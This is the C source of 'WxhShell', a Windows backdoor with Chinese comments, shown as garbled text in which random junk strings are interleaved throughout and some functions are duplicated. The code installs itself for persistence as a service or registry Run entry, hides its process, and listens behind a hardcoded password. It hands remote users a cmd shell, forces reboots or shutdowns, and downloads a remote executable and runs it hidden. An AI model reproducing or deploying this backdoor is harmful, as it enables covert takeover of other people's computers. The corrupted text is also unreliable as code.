i`QKH PROCESS_BASIC_INFORMATION pbi; |zQ4u P;P%n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %MrWeYd1 if(NULL == hInst ) return 0; 0'V5/W )2V: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eoai(&o0$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W=#:.Xj[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }`W){]{kO J6U$qi if (!NtQueryInformationProcess) return 0; \R|4( +]x HG+%HUO$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]bj&bk# if(!hProcess) return 0; "OQ^U_ plb!.g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rM .|1(u O\E /. B CloseHandle(hProcess); tE@;X= &j4 xgh 9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a=DcZ_M if(hProcess==NULL) return 0; ^cczJOxB S{;sUGcu HMODULE hMod; Pl=ZRKn char procName[255]; R%Q@ unsigned long cbNeeded; b~'"^ Bts* PV9pa/`@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `S6x<J&T\/ Sx?ua<`:d CloseHandle(hProcess); JHz
[ 7 pQshUm"_ if(strstr(procName,"services")) return 1; // 以服务启动 S`#w+C#EW -j73Wz return 0; // 注册表启动 G]+&!4 } '+osf'& )3~{L;q // 主模块 V'kX)$ int StartWxhshell(LPSTR lpCmdLine) zUKmx y@ { G'6@+$ppS SOCKET wsl; q:dHC,fO BOOL val=TRUE; t.laO. 3 int port=0; /9HVY
%n struct sockaddr_in door; {B[=?6tQ 7(qE0R&@ if(wscfg.ws_autoins) Install(); P"W2(d &Q>k7L! port=atoi(lpCmdLine); KVD8YfF [-\%4 if(port<=0) port=wscfg.ws_port; ^:#D0[ h{ AII WSADATA data; >sK!F$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f>W- U-IpH+E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .v$D13L(o setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N'g>MBdI door.sin_family = AF_INET; 'R
c,Mq' door.sin_addr.s_addr = inet_addr("127.0.0.1"); lEhk'/~ door.sin_port = htons(port); R $&o*K`? *Eo?k<:zPm if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pb?$t closesocket(wsl); Olh<,p+x return 1; /4g1zrU } l y(>8F AS\F{ !O if(listen(wsl,2) == INVALID_SOCKET) { c
)G3k/T5 closesocket(wsl); 4WJ.^ ( return 1; cFeXpj?GV
}
yls
^ cyX Wxhshell(wsl); d5oIH WSACleanup(); '=Rs/EDME z"0I>gl return 0; 8Le||)y,\ (>r[-Bft } <-[wd.M_ pov)Z):}G< // 以NT服务方式启动 gLy&esJl1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m06ALD_ { {buo^kgj`] DWORD status = 0; @}@Z8$G^ DWORD specificError = 0xfffffff; k&,~qoU Q
aS\(_ serviceStatus.dwServiceType = SERVICE_WIN32; G&4&-< serviceStatus.dwCurrentState = SERVICE_START_PENDING; sOU1n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !"\80LP serviceStatus.dwWin32ExitCode = 0; J[4mLU serviceStatus.dwServiceSpecificExitCode = 0; K#pNec serviceStatus.dwCheckPoint = 0; \=6l9Lrj>h serviceStatus.dwWaitHint = 0; &ge "x{,? 4scNSeW hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i[?Vin if (hServiceStatusHandle==0) return; >AcrG] Ib+Y~
XYR status = GetLastError(); V+VkY3 if (status!=NO_ERROR) 4<k9?)~(J { /+@p7FqlE serviceStatus.dwCurrentState = SERVICE_STOPPED; }Q=!Y>Tc serviceStatus.dwCheckPoint = 0; e A#;AQm serviceStatus.dwWaitHint = 0; T3k#VNH serviceStatus.dwWin32ExitCode = status; vvKEv/pN7 serviceStatus.dwServiceSpecificExitCode = specificError; Y?(r3E^x SetServiceStatus(hServiceStatusHandle, &serviceStatus); iZM+JqfU|D return; _Em. } {=F/C,- QNpqdwu%h serviceStatus.dwCurrentState = SERVICE_RUNNING; S/4^ d &Gr serviceStatus.dwCheckPoint = 0; QWzB6H] serviceStatus.dwWaitHint = 0; ~v6OsH%vx if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =Ur}~w&H8 } aB7+Tb ][?G/*k // 处理NT服务事件,比如:启动、停止 Ry%Mej: VOID WINAPI NTServiceHandler(DWORD fdwControl) Tl2C^j { @wE5S6! B\ switch(fdwControl) (X?%^^e! { 4cl\^yD case SERVICE_CONTROL_STOP: 0@H|n^Md# serviceStatus.dwWin32ExitCode = 0; &NH$nY.r serviceStatus.dwCurrentState = SERVICE_STOPPED; m]5Cq6 serviceStatus.dwCheckPoint = 0; ]%?YZn<{ serviceStatus.dwWaitHint = 0; G>1eFBh } { FW/W%^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); STxKE %l } ]
:BX!< return; sB c
(gr case SERVICE_CONTROL_PAUSE: Q\
U:~g3 serviceStatus.dwCurrentState = SERVICE_PAUSED; iZaI_\"__ break; !f&Kf,#b` case SERVICE_CONTROL_CONTINUE: ?kB2iU_f+ serviceStatus.dwCurrentState = SERVICE_RUNNING; N4L|;? break; ^eR%N8Z case SERVICE_CONTROL_INTERROGATE: K }Vv4x1U break; XqW@rU }; Aq0S-HKF SetServiceStatus(hServiceStatusHandle, &serviceStatus); >rJnayLF } li0i" ]>~)<
// 标准应用程序主函数 M;p
em< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IHJ=i- { oAPb*;} H\qC[" // 获取操作系统版本 .pN`;*7` OsIsNt=GetOsVer(); 0},PJ$8x GetModuleFileName(NULL,ExeFile,MAX_PATH); [&&1j@LQ* m0c P ( // 从命令行安装 \H=&`? if(strpbrk(lpCmdLine,"iI")) Install(); !+L/Khw/C ]y,==1To // 下载执行文件 ?i06f,- if(wscfg.ws_downexe) { `eIenA if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rmE" rf WinExec(wscfg.ws_filenam,SW_HIDE); @>E2?CV } 11<KpxKpk Bh=u|8yxc if(!OsIsNt) { }T%}wdj // 如果时win9x,隐藏进程并且设置为注册表启动 4*e0 hWp HideProc(); 1rkE yh?? StartWxhshell(lpCmdLine); B:!W$< } Z(Bp 0a else ~[\_N\rm if(StartFromService()) jC7&s$>Q"g // 以服务方式启动 u"d~!j1 StartServiceCtrlDispatcher(DispatchTable); AO=h
23ZI else *T~Ve;3h; // 普通方式启动 ub;ZtsM,% StartWxhshell(lpCmdLine); 8"fD`jtQ $ep.-I> return 0; {|1Y:&M? } .8y3O] F@<CsgKB- ad:&$ 7D!u1?]d{ =========================================== KN7n@$8YM %oq[,h
<X Er+nk`UR_ j4;0|zx-i A9kzq_3 Zxbo^W[[ " FvJd8kV Vv8jEZ8 #include <stdio.h> V( -mD #include <string.h> *{yK
8 #include <windows.h> {6~l$ #include <winsock2.h> ^d~1E Er #include <winsvc.h> Pri`K/ #include <urlmon.h> 4Rvf #@"<:!?z #pragma comment (lib, "Ws2_32.lib") AKRTBjG"
#pragma comment (lib, "urlmon.lib") ,{LG4qvP k&.Jk
B" #define MAX_USER 100 // 最大客户端连接数 US%^#D q #define BUF_SOCK 200 // sock buffer DXa-rk8 #define KEY_BUFF 255 // 输入 buffer ~R&;v3 hb^7oq"a #define REBOOT 0 // 重启 t| 'N+-T3 #define SHUTDOWN 1 // 关机 `$B3X {WPobP" #define DEF_PORT 5000 // 监听端口 Qbyv{/ qfK`MhA} #define REG_LEN 16 // 注册表键长度 &d5ia+# #define SVC_LEN 80 // NT服务名长度 <~n$1aA ;d'Z|H; // 从dll定义API E5N{j4\F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ea~:}!-P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OBP1B@|l$+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2c:#O%d( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =<NljOR4` *H.oP // wxhshell配置信息 RhvfC5Hq struct WSCFG { "B8"_D& int ws_port; // 监听端口 Ns[ym>x#2 char ws_passstr[REG_LEN]; // 口令 S}ECW,K int ws_autoins; // 安装标记, 1=yes 0=no WN_pd%m char ws_regname[REG_LEN]; // 注册表键名 TW9WMId char ws_svcname[REG_LEN]; // 服务名 TM|)Ljm char ws_svcdisp[SVC_LEN]; // 服务显示名 Vw&HVo char ws_svcdesc[SVC_LEN]; // 服务描述信息 hQDTS>U char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r?*NhLG; int ws_downexe; // 下载执行标记, 1=yes 0=no [g Z"a* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l+g9 5mjP char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pTyi!:g3W _dJ{j }; <1.A=_
M qg}O/K // default Wxhshell configuration ?1[\! struct WSCFG wscfg={DEF_PORT, jD`d#R "xuhuanlingzhe", ]Wq?H-B{ 1, \;mH(- "Wxhshell", Iz{R}#8CZ "Wxhshell", sPb=82~z "WxhShell Service", `QUy;%+ "Wrsky Windows CmdShell Service", ?w+Ix~k "Please Input Your Password: ", Z t&6Ua[Y} 1, @bnG:np "http://www.wrsky.com/wxhshell.exe", K&U7H: "Wxhshell.exe" `/MvQ/ }; =l0Jb#d DVkB$2] // 消息定义模块 v^_mFp-}\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {|yob4N char *msg_ws_prompt="\n\r? for help\n\r#>"; fz3lV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~35U]s@v char *msg_ws_ext="\n\rExit."; /2HN>{F^Y char *msg_ws_end="\n\rQuit."; Cc, `}SP char *msg_ws_boot="\n\rReboot..."; %T[^D&9$, char *msg_ws_poff="\n\rShutdown..."; ]+m/;&0 char *msg_ws_down="\n\rSave to "; m/@<c'i 9Y<#=C char *msg_ws_err="\n\rErr!"; C>[fB|^ char *msg_ws_ok="\n\rOK!"; A,)VM9M_l >N?2"" char ExeFile[MAX_PATH]; _C+b]r/E int nUser = 0; XbZ*& HANDLE handles[MAX_USER]; 60)iw4<wf int OsIsNt; hAjM1UQ,Y }irn'`I SERVICE_STATUS serviceStatus; bC3 F SERVICE_STATUS_HANDLE hServiceStatusHandle; 4ON_$FUe _ %x4ty // 函数声明 ]Y| 9?9d int Install(void); s #S%#LM int Uninstall(void); >Z;jY* int DownloadFile(char *sURL, SOCKET wsh); *\o/q[ int Boot(int flag); 1<h>B: void HideProc(void); Vm|Y$C int GetOsVer(void); {"
4e+y int Wxhshell(SOCKET wsl); p*8-W(u) void TalkWithClient(void *cs); \6 93kQ int CmdShell(SOCKET sock); ee/&/Gt int StartFromService(void); W},b{NT int StartWxhshell(LPSTR lpCmdLine); 3w!c`;c% /2RajsK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Y8",Ig VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZJjTzEV%^B {h KjD"? // 数据结构和表定义 ?9X&tK)E- SERVICE_TABLE_ENTRY DispatchTable[] = ne>g?"Pex{ { LjH*rjS4 {wscfg.ws_svcname, NTServiceMain}, i"j(b|?e {NULL, NULL} N<L`c/ }; 2PR^:h2 ;=< ^0hxer // 自我安装 ~Gqno int Install(void) fof2
xcH! { Ol')7d& char svExeFile[MAX_PATH]; o1/lZm{\~n HKEY key; '/I:^9 strcpy(svExeFile,ExeFile); n6(.{M; ^o !O)D-q // 如果是win9x系统,修改注册表设为自启动 QQpP#F|w if(!OsIsNt) { HSIvWhg?p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]O:N-Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8V-\e?&^ RegCloseKey(key); c=6Q%S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RuG-{NF{F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +]@Az.E RegCloseKey(key); lI/0:|l return 0; 7DfTfTU6 } K"V:<a } aRc ' } ) ){xlFA} else { H\GkW6 |Cdvfk // 如果是NT以上系统,安装为系统服务 Kwhdu<6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {R^'=(YFy if (schSCManager!=0) sgr=w+",Q { %ObD2)s6:^ SC_HANDLE schService = CreateService 2Nj9U#A ( [Lp,Hqi5 schSCManager, ^MmC$U^n wscfg.ws_svcname, %Z8vdU# l wscfg.ws_svcdisp, M]-VHI[&W SERVICE_ALL_ACCESS, m ga6[E< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?/JBt
/b SERVICE_AUTO_START, hGf-q?7 SERVICE_ERROR_NORMAL, GyC /_ntn svExeFile, pX=,iOF[I NULL, Y?#i{ixX6n NULL, [ "xn5lE NULL, X[W]=yJJ NULL, ]=!P(z| NULL k?VQi5M ); D0;tcm.$ if (schService!=0) rQP"Y[ { @:x"]!1 CloseServiceHandle(schService); Q!M)xNl/ CloseServiceHandle(schSCManager); 7);:ZpDv%L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *g;-H&` strcat(svExeFile,wscfg.ws_svcname); `Vq`z]} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LihjGkj\g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (H?ZSeWx RegCloseKey(key); oH2!5;A| return 0; gZT)pP } _B,_4} } @gSkROCdC) CloseServiceHandle(schSCManager); Bfd-:`Jk } X;!D};;M } X-B8MoG| nB5Am^bP return 1; wE).> } x"(9II* T ^JuZG // 自我卸载 FXo2Y]K3`L int Uninstall(void) 5%
nt0dc { yZJ*dadAr HKEY key; #3kXmeyrD 8G ]w,eF if(!OsIsNt) { [$ : if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4(vyp.f RegDeleteValue(key,wscfg.ws_regname); 0p fnV% RegCloseKey(key); cbKL$| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !ax;5 @J RegDeleteValue(key,wscfg.ws_regname); ^t'3rft RegCloseKey(key); &k
T"oK return 0; F3ZxhkF } J -Qh/d%] } S:Tm23pe } ' eO/PnYW else { CsS p=( -cNx1et SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gY`Nr!O if (schSCManager!=0) U '[?9/T { 1h"_[`L' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #/j ={*- if (schService!=0) Fu8 7fVi/\ { #1$}S=8*f if(DeleteService(schService)!=0) { r9ke,7? CloseServiceHandle(schService); iilyw_$H CloseServiceHandle(schSCManager); ;Mj002.\G return 0; yZSvn[f } oTOfK} CloseServiceHandle(schService); 6T^lS^ } v5T9Y-{` CloseServiceHandle(schSCManager); J-J3=JG } T{*^_ } 1a9w(X MB:n~>ga return 1; M@?"t_e1 } Q:S\0cI0 )-&nxOP // 从指定url下载文件 >,h1N$A+ int DownloadFile(char *sURL, SOCKET wsh) s?O&ZB2GM[ { b?kPN:U#N/ HRESULT hr; ]5|z3<K^ char seps[]= "/"; Goj4`Hc char *token; j$eCe<.3 char *file; gJ\%>r7h char myURL[MAX_PATH]; Ugi5OKdj7) char myFILE[MAX_PATH]; RT"O;P +0pW/4x strcpy(myURL,sURL); PW_`qP: token=strtok(myURL,seps); $(>f8)Uku( while(token!=NULL) I^fPk { -[.PH M6+? file=token; TC-f%1( token=strtok(NULL,seps); GhnE>d;i } $P?{O3:V o_yRn16 GetCurrentDirectory(MAX_PATH,myFILE); xQz#i-v strcat(myFILE, "\\"); ^now}u9S6 strcat(myFILE, file); oofFrAaT send(wsh,myFILE,strlen(myFILE),0); J>v$2?w`w send(wsh,"...",3,0); N^B@3QF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J1-):3A if(hr==S_OK) PN\V[#nS return 0; ?;8M^a/ else \ j]~>9 return 1; k.Zll,s 96W4c]NT } md6*c./Z 3%NE/lw1 // 系统电源模块 g)M#{"H int Boot(int flag) w2)/mSnu { -fM1$/] HANDLE hToken; }W
"(cYN_ TOKEN_PRIVILEGES tkp; v:P!(`sF hCLk#_ if(OsIsNt) { TczXHT}G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3@X|Gs'_S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %)IrXz>Zh tkp.PrivilegeCount = 1; fI[dhd6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A*Q[k 9B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r"]Oe$[# if(flag==REBOOT) { z1vni'%J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Vu8F" return 0; CTU9~~Xk } jI#z/a!j: else { bD@@tGr;W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P7 8uq return 0; "4[<]pq } w$% BlqN } }9Qf #&o else { ^%zNa6BL if(flag==REBOOT) { )b (X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kt<@H11 return 0; x=3I)}J(kn } Ij$)RSPtH else { NlFo$Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a&:>Ped" return 0; /a%KS3>V* } 9<qx!-s2rr } o@@w^## vUfO4yfdg return 1; 5xv,!/@ } Fs9W>*( 'X ~Ab // win9x进程隐藏模块 2e\Kw+(>{ void HideProc(void) f}-v { "sIN86pCs RD9Yk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u p~@?t2 if ( hKernel != NULL ) 7`+UB>8 { wKrdcWI,Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GsRt5?X/* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a?\ `
FreeLibrary(hKernel); \"bLE0~ } }JJ::*W2n T;%+ ]:w< return; %rFllb7 } E$&;]a 2E([#Pzb // 获取操作系统版本 HqDa2q4 int GetOsVer(void) x[a'(5PwY { 1Y2a*J OSVERSIONINFO winfo; "
xxXZGUp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4=
$!_,. GetVersionEx(&winfo); tpz=}q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^X(_zinN" return 1; C0f[eA else TQ2i{e return 0; gTyW#verh$ } sK[Nti0 (T;1q^j // 客户端句柄模块 ?bCTLt7k int Wxhshell(SOCKET wsl) 'U*udkn 2] { ?xf~!D SOCKET wsh; kz|[*%10 struct sockaddr_in client; )rS^F<C DWORD myID; KD9Ca $- B4 <_"0 while(nUser<MAX_USER) cG5$lB { ur`V{9g int nSize=sizeof(client); 9cbB[c_. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hAYQ6g$A if(wsh==INVALID_SOCKET) return 1; &,Uc>L%m 6vZt43"m?\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IBF.&[[S if(handles[nUser]==0) Q)9369<A closesocket(wsh); [ y$j9 else MbM:3 nUser++; ),z,LU Yf } d OzO/w& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hiT9H5 6> uJ7,rq return 0; MQhYJ01i } UfO'.8*v &8.z$}m // 关闭 socket l!Nvn$hm void CloseIt(SOCKET wsh) Psg +\ 14 { N/`g?B[ closesocket(wsh); _GRv nUser--; 7?*~oVZW ExitThread(0); %9cqJ]S } yFa&GxSq ;Ce 2d+K // 客户端请求句柄 jWz|K void TalkWithClient(void *cs) Ab/v_mA; { RNsJ!or Q9SPb6O2 SOCKET wsh=(SOCKET)cs; pZW}^kg= char pwd[SVC_LEN];
; \Y- char cmd[KEY_BUFF]; $K;_Wf char chr[1]; X/K| WOO6 int i,j; eDvXU_yA {_+>"esc while (nUser < MAX_USER) { T9,lblUQ G`&'Bt{Z* if(wscfg.ws_passstr) { ]ZBgE\[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `,<>){c| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); InTKdr^ P //ZeroMemory(pwd,KEY_BUFF); 6S` ,j i=0; R?i-"JhW while(i<SVC_LEN) { bkJn}Al; xy2eJJq // 设置超时 e=|F(iW fd_set FdRead; t%ou1&SO struct timeval TimeOut; W"#j7p`d FD_ZERO(&FdRead); !hpTyO+% FD_SET(wsh,&FdRead); *T1L)Cp TimeOut.tv_sec=8; P1vF{e TimeOut.tv_usec=0; k B$lkl\C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *NKC\aV`0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y>c5:F; 0`zm>fh} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JB: mbH pwd=chr[0];
9QO!vx if(chr[0]==0xd || chr[0]==0xa) { a?f5(qW3 pwd=0; e/ppZ> break; KHiYV } &ij^FAM i++; h=mI{w* } GZ-n!
^ aa'0EU: // 如果是非法用户,关闭 socket t2`X!` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xNkwTDN5 } oQKcGUZ 9e|{z9z[l send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7zi^{] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~j\;e yS(=eB_ while(1) { 4
g/<).1<b c>%z)uY>/ ZeroMemory(cmd,KEY_BUFF); _r^G%Mvy| ]ys4 // 自动支持客户端 telnet标准 GNj/jU<o! j=0; 'ocwXyP, while(j<KEY_BUFF) { c9/
'i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =[O<.'aG- cmd[j]=chr[0]; ahz@HX if(chr[0]==0xa || chr[0]==0xd) { "fX8xZdS cmd[j]=0; g@N=N break; Z\oAE<$ } J/H#d')c j++; bE%mgaOh } X.W#=$;$: ^.B `Z{Jb // 下载文件 ()rx>?x5 if(strstr(cmd,"http://")) { J_)z:`[yE send(wsh,msg_ws_down,strlen(msg_ws_down),0); WL*W=( if(DownloadFile(cmd,wsh)) $e^ :d send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r\SP3 else ,T1XX2?: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EUYa =- } "m\UqQGX else { lMI
ix0sSj d(dw]6I6 switch(cmd[0]) { B "s8i{Vm @[Jt~v // 帮助 U_=wL case '?': { Cq~ah send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d5Eee^Qu/ break; fQ?n( } (J?}eb;>n // 安装 OD2ai]!v+ case 'i': {
xaq=?3QOH if(Install()) It,n +A send(wsh,msg_ws_err,strlen(msg_ws_err),0); `U?H^,FVA else LQ&d|giA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JJZXSBAOU break; 9lazo } V.G9J!?<P // 卸载 eG2qOq$[ case 'r': { >8{`q!=|~ if(Uninstall()) XiZ Zo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+G:04eS,e else D;#Yn M3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bQnwi?2 break; th>yi)m } {D_4~heF // 显示 wxhshell 所在路径 * y"GgI case 'p': { Ar{=gENn char svExeFile[MAX_PATH]; 1rzq$, O strcpy(svExeFile,"\n\r"); 86)
3XE[5 strcat(svExeFile,ExeFile); hZF&PV5H send(wsh,svExeFile,strlen(svExeFile),0); Ot:\h break; ]mGsNQ ].H } FlA$ G3 // 重启 VAB&&AL
case 'b': { h"Yqm"U/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0m|
Gp if(Boot(REBOOT)) xuH<=-O>ki send(wsh,msg_ws_err,strlen(msg_ws_err),0); gQcr'[[a else { ,LW%'tQ~" closesocket(wsh); E'kQ ExitThread(0); 5['B-
Iw } O|g!Y( break;
4 d 1Y\ } <)*g7 // 关机 Q`wA"mw6k case 'd': { C?c -V, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NB yN}e if(Boot(SHUTDOWN)) 9j>sRE1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )9W#5V$ else { ~uD;_Y=u)r closesocket(wsh); Q; /!oA_ ExitThread(0); V{^fH6;[ } Zp(P)Obs# break; N55=&-p } &oEq& // 获取shell i:Ct6[ case 's': { qt&"cw CmdShell(wsh); JSZj0_B closesocket(wsh); D8Waf ExitThread(0); 6+d"3-R. break; D;8V{Hs } _ JJ0pc9t // 退出 an5kR_= case 'x': { TD=/C| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aFm]?75 CloseIt(wsh); d4eC Bqx break; es(LE/`e } n^(yW // 离开 0FR%<u case 'q': { ).`a-Pv send(wsh,msg_ws_end,strlen(msg_ws_end),0); RxeRO2 closesocket(wsh); zinl.8Uk WSACleanup(); l8d%hQVqT exit(1); 7G=P|T\ break; Da[X
HUk } Xm[r#IA } Fea\ eB } Jn[ K0GV c\rbLr}l) // 提示信息 5pyvs ;As if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
<cOE6;d# } uV:uXQni`` } Pds*M?&F 4qXUk:C@m
return; r[4F?W } 9: |K]y z4`n%~w1b // shell模块句柄 KX}dn:;(3 int CmdShell(SOCKET sock) ok_{8z\# { xR6IXF>* STARTUPINFO si; uU!i`8 ZeroMemory(&si,sizeof(si)); ={0{X9t?'j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A;nmua-Fv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 12DdUPOi PROCESS_INFORMATION ProcessInfo; kb\v}gfiD/ char cmdline[]="cmd"; q9(}wvtr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m@2xC,@ return 0; tU2;Wb!Y } '>3RZ&O zLK
~i>aW // 自身启动模式 +VCo=oA int StartFromService(void) D>^ix[:J { qtQ:7WO typedef struct r.5Js*VX! { Kj|F DWORD ExitStatus; )Nd:PnA DWORD PebBaseAddress; \4X{\p< DWORD AffinityMask; ? bg pUv DWORD BasePriority; T.dO0$,Q@$ ULONG UniqueProcessId; 0J-ux"kfI ULONG InheritedFromUniqueProcessId; WbzL!zLd! } PROCESS_BASIC_INFORMATION; s1apHwJ - ;-Dd\\)p PROCNTQSIP NtQueryInformationProcess; kx(:Z8DX Sf:lN4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b!P;xLcb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J+|V[E<x Q&a<9e& HANDLE hProcess; d~$t{46 PROCESS_BASIC_INFORMATION pbi; F5q1VEe OHvzK8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z2zp c^i if(NULL == hInst ) return 0; | N,nt@~ u"|nu!p` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `8bp6}OD, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M8Lj*JN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P[oB' CfnCi_=[ ` if (!NtQueryInformationProcess) return 0; ne*aC_)bT sb5kexGxkc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PS]XLz if(!hProcess) return 0; 2g==98>cg 3yX^R^` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2`eu3vA 1vd+p!n CloseHandle(hProcess); 78#ud15Ml ;9sVWJJCw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )pH{b]t if(hProcess==NULL) return 0; >n\Q[W 7U0):11X# HMODULE hMod; V1qHl5" char procName[255]; <v^.FxId unsigned long 